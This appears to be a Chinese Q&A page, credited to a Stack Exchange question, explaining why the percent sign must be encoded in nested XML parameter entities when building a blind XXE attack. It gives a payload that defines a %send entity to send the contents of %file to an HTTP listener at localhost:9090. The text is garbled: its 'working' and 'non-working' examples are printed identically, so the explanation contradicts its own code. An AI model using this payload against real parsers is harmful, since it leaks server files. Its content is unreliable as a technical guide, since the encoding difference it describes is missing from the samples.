XML DTD中%的含义是什么?为何直接使用%不生效?
XXE参数实体嵌套时百分号需编码的原因
这一差异本质是XML DTD对参数实体的解析时机规则导致的,核心是延迟内层参数实体的解析时机:
核心规则
XML解析器处理DTD实体定义时,有两个优先级明确的解析阶段:
- 实体定义阶段:扫描所有实体声明的字面量内容,遇到直接书写的
%会立刻尝试将其作为当前上下文的参数实体引用进行解析,找不到对应实体就会报错或丢弃无效内容。 - 实体展开阶段:当已定义的参数实体被主动引用时,才会解析实体内容中的字符实体引用(如
%)为对应的真实字符,再对展开后的内容做二次解析。
两种写法的解析差异
可生效的编码写法
<!ENTITY % print "<!ENTITY % send SYSTEM 'http://localhost:9090/landing?text=%file;'>">
- 定义
%print的阶段,内容里没有直接出现%,解析器不会触发参数实体查找逻辑,%作为普通字符引用被保留。 - 当你引用
%print;时,进入实体展开阶段,%被解析为%,展开后的内容变成完整的参数实体声明:<!ENTITY % send SYSTEM 'http://localhost:9090/landing?text=%file;'> - 解析器识别到新的
%send实体定义,后续引用%send;时就会正常发起HTTP请求。
不生效的直写写法
<!ENTITY % print "<!ENTITY % send SYSTEM 'http://localhost:9090/landing?text=%file;'>">
- 定义
%print的阶段,解析器扫描到内容中直接出现的%send,立刻将其识别为参数实体引用,尝试查找当前已定义的%send实体。 - 此时
%send还未被定义(它本身就是要靠%print展开后才会生成的定义),解析器要么抛出未定义实体的错误,要么直接丢弃这段无效内容,导致%print的定义本身就不完整。 - 后续即使引用
%print;也无法生成有效的%send实体声明,自然不会发起请求。
这也是XXE盲注场景下构造嵌套参数实体的标准写法,本质是通过字符编码错开两层参数实体的解析时机,避免内层实体被提前解析报错。
内容的提问来源于stack exchange,提问作者Camille Ferrous
相关产品推荐
相关产品推荐

